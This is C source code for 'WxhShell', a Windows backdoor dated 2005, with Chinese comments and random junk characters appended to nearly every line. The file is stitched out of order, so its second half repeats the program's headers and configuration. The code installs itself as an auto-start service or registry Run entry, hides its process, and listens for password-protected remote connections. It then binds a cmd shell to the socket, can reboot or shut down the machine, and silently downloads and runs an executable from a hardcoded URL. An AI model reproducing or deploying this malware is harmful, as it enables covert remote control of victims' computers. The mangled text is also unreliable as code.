    if(Boot(SHUTDOWN)) )/RG-L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4'QX1p  
    else { q G%Y& P  
    closesocket(wsh); x|O7}oj  
    ExitThread(0); v,w af`)J  
    } Giyh( DL  
    break; {&5lZ<nu8A  
    } &8$v~  
  // 获取shell *5)UIRd  
  case 's': { >Hf{Mx{<  
    CmdShell(wsh); \jfK']P/H  
    closesocket(wsh); (/:m*x*6  
    ExitThread(0); 'Lu<2=a~  
    break; eiMP:  
  } *yBVZD|?H  
  // 退出 %8*:VR  
  case 'x': { PaCC UF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DY2*B"^  
    CloseIt(wsh); / VYT](  
    break; "&6vFmr  
    } ^/C\:hw  
  // 离开 eF+F"|1h  
  case 'q': { 'f( CN3.!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X1#Ar)  
    closesocket(wsh); s~M$Wo8  
    WSACleanup(); 8~Cmn%  
    exit(1); u)@:V)z  
    break; ,rMf;/[  
        } sVHF\{<  
  } 4*XNk;Dx  
  } E'x"EN  
M9iX_4  
  // 提示信息 KqI:g*H'x7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w6BBu0,KC  
} D{(}&8a9  
  } E;Z(v  
^KhJBM/Z  
  return; Y`g oV  
} :\^b6"}8  
D ,kxB~  
// shell模块句柄 2uj .*  
int CmdShell(SOCKET sock) HE&)N clY  
{ DTO_IP  
STARTUPINFO si; {$8+n::  
ZeroMemory(&si,sizeof(si)); ~/rD _K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Spn[:u@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >7W)iwF  
PROCESS_INFORMATION ProcessInfo; +>PsQ^^x  
char cmdline[]="cmd"; $hm[x$$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QuR} 6C  
  return 0; cL9 gaD$;)  
} $8\u  
"xlR>M6e  
// 自身启动模式 vl:~&I&y;R  
int StartFromService(void) 9]eG |LFD  
{ 7O55mc>cF  
typedef struct 9&sb,^4  
{ 0YiTv;mq;  
  DWORD ExitStatus; 5]&sXs  
  DWORD PebBaseAddress; }O\IF}X  
  DWORD AffinityMask; i:s=  
  DWORD BasePriority; _r:Fmn_%-  
  ULONG UniqueProcessId; ZID-~ 6  
  ULONG InheritedFromUniqueProcessId; 48:xvTE?N  
}   PROCESS_BASIC_INFORMATION; )U~|QdZ  
M'%4BOpI6`  
PROCNTQSIP NtQueryInformationProcess; W&hW N9iR  
m7^f%<l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; , 5W7a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8?Rp2n*o  
v]EMJm6d|  
  HANDLE             hProcess; 7Fj8Mp|  
  PROCESS_BASIC_INFORMATION pbi; Y_CYx  
oJA_" xp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d*8*9CpO:  
  if(NULL == hInst ) return 0; iq' PeVo  
k]p|kutQCy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jSjC43lh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {0,b[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t?"(Zb  
J%?5d:iN+  
  if (!NtQueryInformationProcess) return 0; d5^^h<'  
ei-\t qY_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !q&Td  
  if(!hProcess) return 0;  E0!d c  
|y^=(|eM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -))S  
b-ss^UL  
  CloseHandle(hProcess); ==Egy:<:Q  
'&cH,yc;b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lp(2"$nQ  
if(hProcess==NULL) return 0; '~Y@HRVL@|  
B@*b 9  
HMODULE hMod; kWW2N0~$  
char procName[255]; -=5~h  
unsigned long cbNeeded; ].Yz =:  
q8P&rMwy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J8)l,J"  
P2vG)u  
  CloseHandle(hProcess); X):7#x@uy  
XP)^81i|  
if(strstr(procName,"services")) return 1; // 以服务启动 9)wYSz'  
# Wi?I =,  
  return 0; // 注册表启动 ~61b^L}$  
} d.? }>jl  
#@oB2%&X?  
// 主模块 VpJKH\)Rt(  
int StartWxhshell(LPSTR lpCmdLine) b? o  
{ lk>\6o:  
  SOCKET wsl; O14QlIk  
BOOL val=TRUE; Z"VP<-  
  int port=0; U~D~C~\2;  
  struct sockaddr_in door; 0B(s+#s  
h/n(  
  if(wscfg.ws_autoins) Install(); _M%>Qm  
Z3&}C h  
port=atoi(lpCmdLine); {wC*61@1  
OKh0m_ )7  
if(port<=0) port=wscfg.ws_port; +ydd"`  
~vz%I^xW  
  WSADATA data; A,F~*LXm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q0(6n8i  
Ry >y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Po58@g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); > -OOU  
  door.sin_family = AF_INET; 6FzB-],  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nG<oae6z"  
  door.sin_port = htons(port); ~Ykn|$_"I  
m%6VwV7U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?Kgb-bXB  
closesocket(wsl); ,<IomA:q4  
return 1; Nf([JP% 4  
} <<!fA ><W  
'S3<' X  
  if(listen(wsl,2) == INVALID_SOCKET) { 0g[ %)C  
closesocket(wsl); YVc cO~!8  
return 1; !~|-CF0z=  
} TR3U<:  
  Wxhshell(wsl); a U\|ZCH\]  
  WSACleanup(); R `ViRJh  
#csP.z3^y  
return 0; R ABw( b  
Tc(=J7*r&  
} Dizz ?O  
nh4G;qdU  
// 以NT服务方式启动 &:l-;7d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `rVru= zoy  
{ d/R!x{$-f  
DWORD   status = 0; I(^0/]'  
  DWORD   specificError = 0xfffffff; d1/WUKmbZ  
}. &ellNQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  U${W3Ra  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hnFpC1TO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {A/^;X{N^  
  serviceStatus.dwWin32ExitCode     = 0; 8;?4rrS  
  serviceStatus.dwServiceSpecificExitCode = 0; e ymv/  
  serviceStatus.dwCheckPoint       = 0; ~1+6gG  
  serviceStatus.dwWaitHint       = 0; zx%WV@O9  
V<UChD)N`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J'Pyn  
  if (hServiceStatusHandle==0) return; vS\2zwb}  
yD~,+}0)  
status = GetLastError(); o#p%IGG`  
  if (status!=NO_ERROR) V~/G,3:0y%  
{ VaD+:b4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _CHzwNU  
    serviceStatus.dwCheckPoint       = 0; I4"p]>Y"  
    serviceStatus.dwWaitHint       = 0; qS\#MMsTd  
    serviceStatus.dwWin32ExitCode     = status; kL1<H%1'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?5EH/yV;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [XY%<P3D  
    return; J- S.m(  
  } ;(?tlFc  
T^7Cv{[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s21} a,eB  
  serviceStatus.dwCheckPoint       = 0; 67iI wY*8'  
  serviceStatus.dwWaitHint       = 0; xuv W6Q;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G{!er:Vwdh  
} 5csh8i'V  
D#LV&4e>.E  
// 处理NT服务事件,比如:启动、停止 YJv$,Z&;HO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mi] WZlg$  
{ Mq$K[]F  
switch(fdwControl) ULAr!  
{ eMRH*MyD  
case SERVICE_CONTROL_STOP: B`mJT*B[  
  serviceStatus.dwWin32ExitCode = 0; U|3!ixk>>w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; upuN$4m&{  
  serviceStatus.dwCheckPoint   = 0; zzZ EX  
  serviceStatus.dwWaitHint     = 0; C=+9XfP0  
  { ]zlA<w8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hiS|&5#  
  } ^;_~ mq.  
  return; ~snj92K  
case SERVICE_CONTROL_PAUSE: L"&T3i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z8 v8@Y  
  break; g[G /If  
case SERVICE_CONTROL_CONTINUE: ^0.8-RT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7Jlkn=9e:  
  break; a%r!55.   
case SERVICE_CONTROL_INTERROGATE: BI:Cm/ >  
  break; W q<t+E[  
}; ,Iyc0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .j:,WF<"l5  
} FPYk`D  
tkctwjD  
// 标准应用程序主函数 P{9:XSa%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R->x_9y-R  
{ |4mvB2r  
-iiX!@  
// 获取操作系统版本 _uO$=4Sd  
OsIsNt=GetOsVer(); #zl1#TC{(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~^obf(N`  
kxhsDD$@p  
  // 从命令行安装 59oTU  
  if(strpbrk(lpCmdLine,"iI")) Install(); Jb"FY:/Qv+  
eS!]..%y  
  // 下载执行文件 6o^>q&e}%  
if(wscfg.ws_downexe) {  57q=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M)ET 1ZM  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;}+M2Ec51  
} 8@rYT5e3c  
'o IE:#b  
if(!OsIsNt) { 4 "2%mx:  
// 如果时win9x,隐藏进程并且设置为注册表启动 bX$z)]KKu  
HideProc(); U"7o;q  
StartWxhshell(lpCmdLine); X_2N9$},  
} w80X~  
else K(?V]Mxl6  
  if(StartFromService()) dq '2y  
  // 以服务方式启动 c6[m'cy  
  StartServiceCtrlDispatcher(DispatchTable); >B{qPrmI  
else 0ZjT.Ep  
  // 普通方式启动 iL;V5|(sb  
  StartWxhshell(lpCmdLine);  NAD^10  
1)= H2n4)  
return 0; y8$3kXh  
} i W6O9 ~  
B!Wp=9)G  
X)!XR/?  
9Q1%+zjjMq  
=========================================== sg,\!'  
^^v3iCT  
J,Ki2'=  
zdwQpB,+^  
@m5J%8>k  
:=hL}(~]  
" Yd3lL:M  
iTinZ!Ut  
#include <stdio.h> )3CM9P'0  
#include <string.h> 5 &8BO1V.  
#include <windows.h> ''9]`B,:a0  
#include <winsock2.h> G %sO{k7  
#include <winsvc.h> edMCj  
#include <urlmon.h> <Z-Pc?F&(k  
\) dp  
#pragma comment (lib, "Ws2_32.lib") 4dbX!0u1l  
#pragma comment (lib, "urlmon.lib") ,?yjsJd.  
tCrEcjT-  
#define MAX_USER   100 // 最大客户端连接数 0Ye/  
#define BUF_SOCK   200 // sock buffer \uTlwS  
#define KEY_BUFF   255 // 输入 buffer {LiJ=Ebt  
}p?,J8=-  
#define REBOOT     0   // 重启 l?)>"^  
#define SHUTDOWN   1   // 关机 ahXcQ9jzFi  
KRxJ2  
#define DEF_PORT   5000 // 监听端口 G|jHic!  
) r.Wge  
#define REG_LEN     16   // 注册表键长度 Y)k"KRW+  
#define SVC_LEN     80   // NT服务名长度 Ze%S<xT!O  
_qE9]mU  
// 从dll定义API %/3+:}@G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O + aK#eF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qVh?%c1.Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1#N`elm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^!B]V>L-  
diNSF-wi,,  
// wxhshell配置信息 V<WWtu;3  
struct WSCFG { p|gVIsg[-e  
  int ws_port;         // 监听端口 f1:>H.m`  
  char ws_passstr[REG_LEN]; // 口令 -Cvd3%Jje  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'ij+MU 1  
  char ws_regname[REG_LEN]; // 注册表键名 ,IhQ%)l  
  char ws_svcname[REG_LEN]; // 服务名 Z><+4 '  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C5(XZscq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x9F *$G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vl$RMW@Ds  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P\dfxR;8%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BW;@Gq@N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pbG-uH^  
N|mggz  
}; J PTLh{/  
%S^ke`MhF  
// default Wxhshell configuration 5:38}p9`  
struct WSCFG wscfg={DEF_PORT, pImq< Z  
    "xuhuanlingzhe", <&[`  +  
    1, #*:1Ch]B  
    "Wxhshell", <q'?[aKvR  
    "Wxhshell", ^N7cXK*  
            "WxhShell Service", Gd C=>\]  
    "Wrsky Windows CmdShell Service", 2. nT k   
    "Please Input Your Password: ", |m\7/&@<  
  1, " :e <a?  
  "http://www.wrsky.com/wxhshell.exe", w)<.v+u.Y  
  "Wxhshell.exe" =,*/Ph&  
    }; 15_"U+O(/  
@B0fRG y  
// 消息定义模块 @8\0@[]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v3[ZPc;;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ew]&~:$Ki  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LntRLB'  
char *msg_ws_ext="\n\rExit."; '\QJ{/JV  
char *msg_ws_end="\n\rQuit."; WMKxGZg"  
char *msg_ws_boot="\n\rReboot..."; W/RB|TMT  
char *msg_ws_poff="\n\rShutdown..."; \=RV?mI3?  
char *msg_ws_down="\n\rSave to "; _H U>T  
{6LS$3}VM  
char *msg_ws_err="\n\rErr!"; 6 [bQ'Ir^8  
char *msg_ws_ok="\n\rOK!"; N\ <riS9  
_ l)3pm6  
char ExeFile[MAX_PATH]; L|{vkkBo  
int nUser = 0; 6a9:P@tY  
HANDLE handles[MAX_USER]; }cUO+)!Y  
int OsIsNt; jKcl{',  
}`Wo(E}O  
SERVICE_STATUS       serviceStatus; @=g{4(zR ^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DCa=o  
\|vo@E  
// 函数声明 p}~Sgi  
int Install(void); V,zFHXO  
int Uninstall(void);  ~9YEb  
int DownloadFile(char *sURL, SOCKET wsh); cC9Zc#aK  
int Boot(int flag); 86KK Y2  
void HideProc(void); "WY5Pzsi:  
int GetOsVer(void); V9KRA 1  
int Wxhshell(SOCKET wsl); vx$DKQK@l\  
void TalkWithClient(void *cs); yEB#*}K?  
int CmdShell(SOCKET sock); E}zGY2Xx  
int StartFromService(void); I7h v'3u  
int StartWxhshell(LPSTR lpCmdLine); -m ,Y6  
j7Zv"Vq@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h+_:zWU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?w'03lr%  
P7X3>5<;q  
// 数据结构和表定义 0WZd$  
SERVICE_TABLE_ENTRY DispatchTable[] = ',+Zqog92  
{ ^Et^,I:`  
{wscfg.ws_svcname, NTServiceMain}, L09r|g4Z  
{NULL, NULL} z2R?GQ5 A  
}; + i /4G.=*  
Bvj  
// 自我安装 U$@}!X  
int Install(void) c=-qbG0`  
{ 1 "t9x.  
  char svExeFile[MAX_PATH]; 8YPX8d8u  
  HKEY key; ( ?e Et&  
  strcpy(svExeFile,ExeFile); jU 3ceXV  
ijcF[bm E  
// 如果是win9x系统,修改注册表设为自启动 K{Nj-Rqd  
if(!OsIsNt) { @G>e Cj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]#S<]vA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 18j>x3tn  
  RegCloseKey(key); Jzp|#*~$E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $BLd>gTzmv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /&qE,>hd.+  
  RegCloseKey(key); giIPK&  
  return 0; wKpD++k  
    } mq}uq9<  
  } o=zl{tZV  
} <}xgp[O  
else { qs8^qn0A  
^\S~rW.3_  
// 如果是NT以上系统,安装为系统服务 H7drDw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M`iE'x  
if (schSCManager!=0) [\0>@j}Z  
{ -:!Wds  
  SC_HANDLE schService = CreateService r|z B?9Q  
  ( 00-2u~D&  
  schSCManager, Om;` "5  
  wscfg.ws_svcname, W}k/>V_  
  wscfg.ws_svcdisp, K4RQ{fWpm  
  SERVICE_ALL_ACCESS, 00>knCe6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aU.!+e%_  
  SERVICE_AUTO_START, EpT^r8I  
  SERVICE_ERROR_NORMAL, L[5U(`q[  
  svExeFile, 'aeuL1mz  
  NULL, P~&J@8)c  
  NULL, %ol1WG9  
  NULL, l"h6e$dP  
  NULL, /,< s9 :  
  NULL 2H] 7=j  
  ); I !lR 7%  
  if (schService!=0) M`9|8f,!a  
  { iTT7<x  
  CloseServiceHandle(schService); ym` 4v5w  
  CloseServiceHandle(schSCManager); M4 }))  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4UPxV"H  
  strcat(svExeFile,wscfg.ws_svcname); RA){\~@wC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AYsHA w   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j5smmtM`s  
  RegCloseKey(key); Jh4pY#aF  
  return 0; Gy6x.GX  
    } O"X7 DgbC  
  } GUJ?6;  
  CloseServiceHandle(schSCManager); +'w6=qI  
} !4z vkJO  
} [_KOU2  
zTq"kxn'  
return 1; A&jR-%JG  
} $EdL^Q2KAy  
fU.z_ T[@  
// 自我卸载 n b*`GE  
int Uninstall(void) '!MKZKer  
{ s gZlk9x!Q  
  HKEY key; 3<1x>e2nT  
qjg Z  
if(!OsIsNt) { 05jjLM'e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zG%'Cw)8  
  RegDeleteValue(key,wscfg.ws_regname); QM~~b=P,\  
  RegCloseKey(key); ssH[\i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #7YJ87<E  
  RegDeleteValue(key,wscfg.ws_regname); gTLBR  
  RegCloseKey(key); F{ C2% s#  
  return 0; G~ 4G$YL*  
  } xNRMI!yv   
} `O%O[  
} Z;;A#h'%e  
else { 4)XB3$<  
p%#'`*<a_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w xa MdA  
if (schSCManager!=0) #oR@!?  
{ fgA-+y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YPKB4p#  
  if (schService!=0) <1QXZfQ"  
  { r&F 6ZCw  
  if(DeleteService(schService)!=0) { 4`o<e)c3  
  CloseServiceHandle(schService); \0e`sOS`L  
  CloseServiceHandle(schSCManager); {=U*!`D  
  return 0; ^nFP#J)_5  
  } ?1LRR ;-x  
  CloseServiceHandle(schService); m G+=0Rn^  
  } CZ{7?:^f  
  CloseServiceHandle(schSCManager); ^/}&z  
} {DUtdu[  
} u&o$2 '8  
[;~"ctf{  
return 1; nuA 0%K  
} *q[;-E(fZ#  
6 =G=4{q  
// 从指定url下载文件 j0{Qy;wP )  
int DownloadFile(char *sURL, SOCKET wsh) 5x,/p  
{ hL}ZPHA  
  HRESULT hr; ]8'PLsS9<w  
char seps[]= "/"; L7.SH#m  
char *token; `9T5Dem|#  
char *file; Cm"S=gV  
char myURL[MAX_PATH]; /cvMp#<]  
char myFILE[MAX_PATH]; f'M([gn^_  
`UqX`MFz  
strcpy(myURL,sURL); i;juwc^n}  
  token=strtok(myURL,seps); EiZa,}A  
  while(token!=NULL) "-rqL  
  { L gy^^.  
    file=token; {r5OtYmpR  
  token=strtok(NULL,seps); .t&G^i'n  
  } Zzb?Nbf  
P>`|.@  
GetCurrentDirectory(MAX_PATH,myFILE); nC!L<OMr  
strcat(myFILE, "\\"); 5/CF_v  
strcat(myFILE, file); &$l#0?Kc^  
  send(wsh,myFILE,strlen(myFILE),0); @Q;s[Kg{!  
send(wsh,"...",3,0); !*?9n ^PaF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @tJic|)x  
  if(hr==S_OK) hp2$[p6O  
return 0; h b8L[ 4  
else Y zmMF  
return 1; UG}2q:ST  
P^ <to(|  
} =([4pG  
Qam48XZ >  
// 系统电源模块 H4sc7-  
int Boot(int flag) +!$`0v   
{ }WBHuVcZG  
  HANDLE hToken; q1ZZ T"'  
  TOKEN_PRIVILEGES tkp; ojA!!Ru  
Ap4.c8f?Q-  
  if(OsIsNt) { $~%h4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4x#tUzb;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {2i8]Sp1d/  
    tkp.PrivilegeCount = 1; 33&\E- Q>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _c5*9')-)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4:/^.:  
if(flag==REBOOT) {  Wu8^Z Z{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]e+&Pxw]e  
  return 0; XGjFb4Tw7  
} {OOn7=  
else { v53|)]V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~03MH'  
  return 0; F!*GrQms  
} w8 `1'*HG  
  } k_Y7<z0G  
  else { es=OWJt^  
if(flag==REBOOT) { !_B*Po  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -*Th=B-  
  return 0; 9QL%q; #  
} Zs,6}m\  
else { DQaE9gmC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qV/>d' ,  
  return 0; ?ks.M'@  
} 8B5WbS fL^  
} a#& ( i  
MX.?tN#F|H  
return 1; *JQ*$$5  
} 1X9s\JKQ  
g#cet{>  
// win9x进程隐藏模块 Wcm8,?*  
void HideProc(void) {Qn{w%!|  
{ LhM$!o?W  
(mKH,r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s{j A!T}  
  if ( hKernel != NULL ) ;-;lM6zP  
  { Z&P\}mm   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mVh;=>8K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BBv+*jj  
    FreeLibrary(hKernel); "^a"`?J  
  } )S/=5Uc  
V w58w`e  
return; 8F@Sy,D  
} m7u`r(&  
)feZ&G]  
// 获取操作系统版本 n=AcN  
int GetOsVer(void) 2i1xSKRYrD  
{ D!.1R!(Z  
  OSVERSIONINFO winfo; w*;"@2y;eY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `u PLyS.  
  GetVersionEx(&winfo); 6]kBG?m0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m]vV.pwv  
  return 1; fFWi 3.  
  else Hrph>v  
  return 0; 6 .)Xeb"  
} 3eXIo=  
vLyazVj..  
// 客户端句柄模块 H\\FAOj  
int Wxhshell(SOCKET wsl) 5Z5x\CcC3  
{ <V Rb   
  SOCKET wsh; .>P:{''  
  struct sockaddr_in client; QG2 Zh9R  
  DWORD myID; D|Wlq~IpQ  
D} j`T  
  while(nUser<MAX_USER) cC+2%q B  
{ j0V/\Ep)T<  
  int nSize=sizeof(client);  Pd(_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tMp! MQ  
  if(wsh==INVALID_SOCKET) return 1; {*[(j^OE  
{ I\og  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SY%y*6[6  
if(handles[nUser]==0) slUi)@b  
  closesocket(wsh); 6)P.wW  
else :Jv5Flxl  
  nUser++; /> /e  
  } wJCw6&D,/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nJ xO.wWE  
]dI^ S  
  return 0; fb>$p_s]  
} d!YP{y P  
\IImxkE  
// 关闭 socket oOU_ Nay  
void CloseIt(SOCKET wsh) ]sk=V.GGQ  
{ 5g/,VMe  
closesocket(wsh); nPqpat`E  
nUser--; *kg->J  
ExitThread(0); |iUC\F=-  
} g$?^bu dxv  
Q{L:pce-  
// 客户端请求句柄 l:uQ#Z)  
void TalkWithClient(void *cs) x3+ {Y  
{ ^879sI  
>X' -J{4R  
  SOCKET wsh=(SOCKET)cs; $D#h, `  
  char pwd[SVC_LEN]; kP ,8[r  
  char cmd[KEY_BUFF]; [H>u'fy:C  
char chr[1]; 3 ?I!  
int i,j; wlaPE8Gc  
"QxULiw  
  while (nUser < MAX_USER) { \y]K]iv  
R_KDY  
if(wscfg.ws_passstr) { e5P9P%1w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ipbhjK$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d(d<@cB9  
  //ZeroMemory(pwd,KEY_BUFF); /bB4ec8!  
      i=0; KvPCb%!ZP  
  while(i<SVC_LEN) { orH6R8P]  
>(S)aug$1  
  // 设置超时 D5snaGss9a  
  fd_set FdRead; ZL\^J8PRK  
  struct timeval TimeOut; ,6X;YY  
  FD_ZERO(&FdRead); h-?yed*?  
  FD_SET(wsh,&FdRead); jqc}mI\#  
  TimeOut.tv_sec=8; ,}gJY^X+  
  TimeOut.tv_usec=0; 6&ut r!\7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e'G=.:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1p$(\  
"8ellKh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kq-1  b  
  pwd=chr[0]; n9}BT^4 v  
  if(chr[0]==0xd || chr[0]==0xa) { iBSg`"S^]C  
  pwd=0; ] h(Iun  
  break; Td'(RV  
  } }RI_k&;  
  i++; ,.cR@5qI  
    } _G/ R;N71  
jgIG";:Q  
  // 如果是非法用户,关闭 socket 1J"I.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !ZH "$m|  
} $sda'L5^p  
0P9\;!Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dR1IndZl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *YvtT (Gt  
;'8P/a$  
while(1) { d\]KG(T  
%bN{FKNN  
  ZeroMemory(cmd,KEY_BUFF); LkS tU)  
eTvjo(Lvx  
      // 自动支持客户端 telnet标准   ZZI} Ot{  
  j=0; +u0of^}=  
  while(j<KEY_BUFF) { @Xl(A]w%!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s.i9&1Y-!  
  cmd[j]=chr[0]; WF~BCP$OR  
  if(chr[0]==0xa || chr[0]==0xd) { z}u`45W+  
  cmd[j]=0; w a(Y[]V  
  break; 8^y=YUT  
  } s_IFl5D]  
  j++; %"A8Af**I  
    } >,]a>V  
N wk  
  // 下载文件 r*vh3.Agl  
  if(strstr(cmd,"http://")) { PKrG6% W+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9u{[e"  
  if(DownloadFile(cmd,wsh)) &'W7-Z\j-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?j.a>{  
  else '`k7l7I[@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ffHOef  
  } 04Zdg:[3-!  
  else { 8$ _{R!x  
<1*.:CL"s  
